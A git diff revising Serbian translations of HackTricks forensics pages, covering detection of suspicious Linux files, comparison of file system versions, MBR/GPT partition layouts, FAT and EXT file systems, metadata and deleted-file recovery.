+* **Identifikovati setuid root datoteke** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim privilegijama, koje bi napadači mogli zloupotrebiti.
+* **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja datoteka, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
+* **Istražiti uzastopne inode** za obližnje zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno.
+* **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ove mogle biti izmenjene od strane malvera.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -375,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može da izmeni **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
+Napomena da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, tada su **vremenske oznake te datoteke modifikovane**.
{% endhint %}
-## Uporedite datoteke različitih verzija fajl sistema
+## Upoređivanje datoteka različitih verzija datotečnog sistema
-### Sažetak Uporedbe Verzija Fajl Sistema
+### Sažetak upoređivanja verzija datotečnog sistema
-Za upoređivanje verzija fajl sistema i precizno lociranje promena, koristimo pojednostavljene `git diff` komande:
+Da bismo uporedili verzije datotečnog sistema i precizirali promene, koristimo pojednostavljene `git diff` komande:
-* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma:
+* **Da bismo pronašli nove datoteke**, uporedite dve fascikle:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
@@ -392,46 +393,46 @@ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-* **Za otkrivanje izbrisanih fajlova**:
+* **Da otkrijete obrisane fajlove**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-* **Opcije filtera** (`--diff-filter`) pomažu u sužavanju na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova.
+* **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
* `A`: Dodati fajlovi
* `C`: Kopirani fajlovi
-* `D`: Izbrisani fajlovi
+* `D`: Obrisani fajlovi
* `M`: Izmenjeni fajlovi
* `R`: Preimenovani fajlovi
-* `T`: Promene tipa (npr. fajl u simboličku vezu)
-* `U`: Nespajani fajlovi
+* `T`: Promene tipa (npr., fajl u symlink)
+* `U`: Neusaglašeni fajlovi
* `X`: Nepoznati fajlovi
-* `B`: Oštećeni fajlovi
+* `B`: Pokvareni fajlovi
## Reference
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-* **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+* **Knjiga: Vodič za forenziku malvera za Linux sisteme: Vodiči za digitalnu forenziku**
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Naučite AWS hacking od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
-Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
+Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
+* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-**Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
+**Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
\
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
+Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index 0f2ec72c1..f677f9324 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,156 +1,158 @@
-# Particije/Sistemi datoteka/Izdvajanje
+# Partitions/File Systems/Carving
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Particije
+## Partitions
-Tvrdi disk ili **SSD disk mogu sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
-**Minimalna** jedinica diska je **sektor** (obično sastavljen od 512B). Dakle, veličina svake particije mora biti višekratnik te veličine.
+Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
+**Minimalna** jedinica diska je **sektor** (normalno sastavljen od 512B). Tako da, veličina svake particije mora biti višekratnik te veličine.
### MBR (master Boot Record)
-Nalazi se u **prvom sektoru diska nakon 446B boot koda**. Taj sektor je bitan jer pokazuje računaru šta i odakle treba da se montira particija.\
-Dozvoljava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Poslednji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
-MBR dozvoljava **maksimalno 2.2TB**.
+Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je ključan za indikaciju PC-u šta i odakle treba da se montira particija.\
+Omogućava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Zadnji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
+MBR omogućava **maksimalno 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
-Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo drajva tvrdog diska zavisi od Windows Disk Signature-a. Menjanje ovog potpisa može sprečiti Windows da se podigne (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo diska hard diska zavisi od Windows Disk Signature. Promena ovog potpisa može sprečiti Windows da se pokrene (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Format**
-| Offset | Dužina | Stavka |
+| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
-| 0 (0x00) | 446(0x1BE) | Boot kod |
-| 446 (0x1BE) | 16 (0x10) | Prva particija |
-| 462 (0x1CE) | 16 (0x10) | Druga particija |
+| 0 (0x00) | 446(0x1BE) | Boot code |
+| 446 (0x1BE) | 16 (0x10) | Prva particija |
+| 462 (0x1CE) | 16 (0x10) | Druga particija |
| 478 (0x1DE) | 16 (0x10) | Treća particija |
-| 494 (0x1EE) | 16 (0x10) | Četvrta particija |
-| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
+| 494 (0x1EE) | 16 (0x10) | Četvrta particija |
+| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
-**Format Zapisa Particije**
+**Format zapisa particije**
-| Offset | Dužina | Stavka |
-| --------- | -------- | -------------------------------------------------------- |
-| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) |
-| 1 (0x01) | 1 (0x01) | Početna glava |
+| Offset | Length | Item |
+| --------- | -------- | ------------------------------------------------------ |
+| 0 (0x00) | 1 (0x01) | Aktivna zastavica (0x80 = bootable) |
+| 1 (0x01) | 1 (0x01) | Početna glava |
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
-| 3 (0x03) | 1 (0x01) | Najnižih 8 bitova cilindra početka |
-| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
-| 5 (0x05) | 1 (0x01) | Krajnja glava |
-| 6 (0x06) | 1 (0x01) | Krajnji sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
-| 7 (0x07) | 1 (0x01) | Najnižih 8 bitova cilindra kraja |
-| 8 (0x08) | 4 (0x04) | Sektori pre particije (little endian) |
-| 12 (0x0C) | 4 (0x04) | Sektori u particiji |
+| 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
+| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | Kraj glave |
+| 6 (0x06) | 1 (0x01) | Kraj sektora (bitovi 0-5); gornji bitovi cilindra (6- 7) |
+| 7 (0x07) | 1 (0x01) | Kraj cilindra najniži 8 bitova |
+| 8 (0x08) | 4 (0x04) | Sektori pre particije (mali endian) |
+| 12 (0x0C) | 4 (0x04) | Sektori u particiji |
-Da biste montirali MBR u Linux-u prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`)
+Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i `p` komandu)
-![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
+![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
-Zatim koristite sledeći kod
+I zatim koristite sledeći kod
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
-**LBA (Logical block addressing)**
+**LBA (Logičko adresiranje blokova)**
-**Logičko blok adresiranje** (**LBA**) je uobičajena šema korišćena za **specifikaciju lokacije blokova** podataka smeštenih na računarskim uređajima za skladištenje, uglavnom sekundarnim skladišnim sistemima poput hard disk drajvova. LBA je posebno jednostavna linearna adresna šema; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
+**Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **specifikaciju lokacije blokova** podataka koji su pohranjeni na uređajima za skladištenje računara, obično sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se lociraju pomoću celobrojnih indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
-### GPT (GUID Partition Table)
+### GPT (GUID tabela particija)
-GUID Partition Table, poznata kao GPT, preferira se zbog svojih unapređenih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se ističe na nekoliko načina:
+GUID tabela particija, poznata kao GPT, favorizovana je zbog svojih poboljšanih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se izdvaja na nekoliko načina:
-* **Lokacija i Veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64 bita**, za razliku od MBR-ovih 32 bita.
+* **Lokacija i veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64bita**, u kontrastu sa MBR-ovih 32bita.
* **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka.
-* **Imena particija**: Omogućava mogućnost imenovanja particija sa do 36 Unicode karaktera.
+* **Imena particija**: Nudi mogućnost imenovanja particija sa do 36 Unicode karaktera.
-**Otpornost i Obnova Podataka**:
+**Otpornost podataka i oporavak**:
-* **Redundantnost**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o podizanju na jednom mestu. Ona replicira ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
-* **Ciklična Redundantna Provera (CRC)**: GPT koristi CRC kako bi osigurala integritet podataka. Aktivno nadgleda korupciju podataka, i kada je detektovana, GPT pokušava da povrati oštećene podatke sa druge lokacije na disku.
+* **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke za pokretanje na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
+* **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke iz druge lokacije na disku.
**Zaštitni MBR (LBA0)**:
-* GPT održava kompatibilnost unazad putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru za stari MBR, ali je dizajnirana da spreči starije MBR-bazirane alatke da greškom prepišu GPT diskove, čime se čuva integritet podataka na GPT-formatiranim diskovima.
+* GPT održava unazad kompatibilnost putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru nasleđenog MBR-a, ali je dizajnirana da spreči starije MBR-bazirane alate da greškom prepisuju GPT diskove, čime se štiti integritet podataka na GPT-formatiranim diskovima.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**Hibridni MBR (LBA 0 + GPT)**
-[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[Iz Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-U operativnim sistemima koji podržavaju **GPT bazirano podizanje putem BIOS** servisa umesto EFI, prvi sektor se može koristiti za skladištenje prvog koraka **koda podizanja** (bootloader), ali **modifikovanog** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme pretpostaviti veličinu sektora od 512 bajtova.
+U operativnim sistemima koji podržavaju **GPT-bazirano pokretanje putem BIOS** usluga umesto EFI, prvi sektor se takođe može koristiti za skladištenje prve faze **bootloader** koda, ali **modifikovan** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme da pretpostavlja veličinu sektora od 512 bajta.
-**Zaglavlje particionog tabele (LBA 1)**
+**Zaglavlje tabele particija (LBA 1)**
-[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[Iz Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-Zaglavlje particione tabele definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine particionu tabelu (ofseti 80 i 84 u tabeli).
+Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli).
-| Ofset | Dužina | Sadržaj |
+| Offset | Dužina | Sadržaj |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8 bajtova | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na malo-endijanskim mašinama) |
+| 0 (0x00) | 8 bajta | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na little-endian mašinama) |
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
-| 12 (0x0C) | 4 bajta | Veličina zaglavlja u malom endijanu (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
-| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (ofset +0 do veličine zaglavlja) u malom endijanu, pri čemu je ovo polje nula tokom računanja |
+| 12 (0x0C) | 4 bajta | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
+| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, sa ovim poljem nula tokom izračunavanja |
| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
-| 24 (0x18) | 8 bajtova | Trenutni LBA (lokacija ovog kopiranog zaglavlja) |
-| 32 (0x20) | 8 bajtova | Rezervisano LBA (lokacija drugog kopiranog zaglavlja) |
-| 40 (0x28) | 8 bajtova | Prvi upotrebljivi LBA za particije (poslednji LBA primarne particione tabele + 1) |
-| 48 (0x30) | 8 bajtova | Poslednji upotrebljivi LBA (prvi LBA sekundarne particione tabele − 1) |
-| 56 (0x38) | 16 bajtova | Disk GUID u mešovitom endijanu |
-| 72 (0x48) | 8 bajtova | Početni LBA niza unosa particija (uvek 2 u primarnom kopiranju) |
+| 24 (0x18) | 8 bajta | Trenutni LBA (lokacija ove kopije zaglavlja) |
+| 32 (0x20) | 8 bajta | Backup LBA (lokacija druge kopije zaglavlja) |
+| 40 (0x28) | 8 bajta | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
+| 48 (0x30) | 8 bajta | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija − 1) |
+| 56 (0x38) | 16 bajta | Disk GUID u mešovitom endian |
+| 72 (0x48) | 8 bajta | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
| 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
-| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u malom endijanu |
-| 92 (0x5C) | \* | Rezervisano; moraju biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajtova; ali može biti više sa većim veličinama sektora) |
+| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u little endian |
+| 92 (0x5C) | \* | Rezervisano; mora biti nule za ostatak bloka (420 bajta za veličinu sektora od 512 bajta; ali može biti više sa većim veličinama sektora) |
**Unosi particija (LBA 2–33)**
-| Format unosa particije GUID | | |
+| Format unosa GUID particije | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
-| Ofset | Dužina | Sadržaj |
-| 0 (0x00) | 16 bajtova | [GUID particije tipa](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešoviti endijan) |
-| 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešoviti endijan) |
-| 32 (0x20) | 8 bajtova | Prvi LBA ([mali endijan](https://en.wikipedia.org/wiki/Little\_endian)) |
-| 40 (0x28) | 8 bajtova | Poslednji LBA (inkluzivno, obično neparan) |
-| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
-| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jedinica koda) |
+| Offset | Dužina | Sadržaj |
+| 0 (0x00) | 16 bajta | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešovit endian) |
+| 16 (0x10) | 16 bajta | Jedinstveni GUID particije (mešovit endian) |
+| 32 (0x20) | 8 bajta | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
+| 40 (0x28) | 8 bajta | Poslednji LBA (uključivo, obično neparan) |
+| 48 (0x30) | 8 bajta | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
+| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
-**Tipovi Particija**
+**Tipovi particija**
![](<../../../.gitbook/assets/image (492).png>)
Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-### Inspekcija
+### Istraživanje
-Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete pregledati prvi sektor koristeći Windows alatku [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici detektovan je **MBR** na **sektoru 0** i interpretiran:
+Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete ispitati prvi sektor koristeći Windows alat [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici je otkriven **MBR** na **sektoru 0** i interpretiran:
![](<../../../.gitbook/assets/image (494).png>)
-Da je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_ u **sektoru 1** (koji je prazan na prethodnoj slici).
-## Fajl-sistemi
+Ako je to bila **GPT tabela umesto MBR-a**, trebala bi se pojaviti potpis _EFI PART_ u **sektoru 1** (koji je na prethodnoj slici prazan).
-### Lista Windows fajl-sistema
+## Sistemi datoteka
+
+### Lista Windows sistema datoteka
* **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@@ -160,79 +162,79 @@ Da je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_
### FAT
-**FAT (File Allocation Table)** fajl-sistem je dizajniran oko svoje osnovne komponente, tabele alokacije fajlova, koja se nalazi na početku zapremine. Ovaj sistem štiti podatke održavanjem **dve kopije** tabele, obezbeđujući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnom mestu**, ključnom za proces pokretanja sistema.
+**FAT (Tabela alokacije datoteka)** sistem datoteka je dizajniran oko svoje osnovne komponente, tabele alokacije datoteka, koja se nalazi na početku volumena. Ovaj sistem štiti podatke održavanjem **dvije kopije** tabele, osiguravajući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnoj lokaciji**, što je ključno za proces pokretanja sistema.
-Osnovna jedinica skladištenja fajl-sistema je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
+Osnovna jedinica skladištenja sistema datoteka je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
-* **FAT12**, podržava 12-bitne adrese klastera i upravlja do 4078 klastera (4084 sa UNIX-om).
-* **FAT16**, unapređenje na 16-bitne adrese, čime se može smestiti do 65.517 klastera.
-* **FAT32**, dalje napredovanje sa 32-bitnim adresama, omogućavajući impresivnih 268.435.456 klastera po zapremini.
+* **FAT12**, podržava 12-bitne adrese klastera i obrađuje do 4078 klastera (4084 sa UNIX-om).
+* **FAT16**, unapređuje na 16-bitne adrese, čime se omogućava do 65,517 klastera.
+* **FAT32**, dalje napreduje sa 32-bitnim adresama, omogućavajući impresivnih 268,435,456 klastera po volumenu.
-Značajno ograničenje kroz verzije FAT-a je **maksimalna veličina fajla od 4GB**, nametnuta 32-bitnim poljem korišćenim za skladištenje veličine fajla.
+Značajno ograničenje kod FAT verzija je **maksimalna veličina datoteke od 4GB**, koju nameće 32-bitno polje korišćeno za skladištenje veličine datoteke.
Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju:
-* **Ime fajla/foldera** (do 8 karaktera)
+* **Ime datoteke/foldera** (do 8 karaktera)
* **Atributi**
* **Datumi kreiranja, modifikacije i poslednjeg pristupa**
-* **Adresa FAT tabele** (ukazujući na početni klaster fajla)
-* **Veličina fajla**
+* **Adresa FAT tabele** (koja označava početni klaster datoteke)
+* **Veličina datoteke**
### EXT
-**Ext2** je najčešći fajl-sistem za **particije bez dnevnika** (**particije koje se retko menjaju**), poput boot particije. **Ext3/4** su **sa dnevnikom** i obično se koriste za **ostale particije**.
+**Ext2** je najčešći sistem datoteka za **ne-journal** particije (**particije koje se ne menjaju mnogo**) kao što je particija za pokretanje. **Ext3/4** su **journal** i obično se koriste za **ostale particije**.
## **Metapodaci**
-Neki fajlovi sadrže metapodatke. Ove informacije se odnose na sadržaj fajla koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa fajla, može sadržati informacije poput:
+Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
* Naslov
-* Korišćena verzija MS Office-a
+* Verzija MS Office-a koja se koristi
* Autor
* Datumi kreiranja i poslednje modifikacije
* Model kamere
* GPS koordinate
* Informacije o slici
-Možete koristiti alate poput [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da biste dobili metapodatke fajla.
+Možete koristiti alate kao što su [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da dobijete metapodatke datoteke.
-## **Obnova obrisanih fajlova**
+## **Oporavak obrisanih datoteka**
-### Evidentirani obrisani fajlovi
+### Zabeležene obrisane datoteke
-Kao što je već viđeno, postoji nekoliko mesta gde se fajl i dalje čuva nakon što je "obrisan". To je zato što brisanje fajla iz fajl-sistema obično označava kao obrisano, ali podaci nisu dirani. Zatim je moguće pregledati registre fajlova (poput MFT-a) i pronaći obrisane fajlove.
+Kao što je ranije viđeno, postoji nekoliko mesta gde je datoteka još uvek sačuvana nakon što je "obrisana". To je zato što obično brisanje datoteke iz sistema datoteka samo označava da je obrisana, ali podaci nisu dodirnuti. Tada je moguće ispitati registre datoteka (kao što je MFT) i pronaći obrisane datoteke.
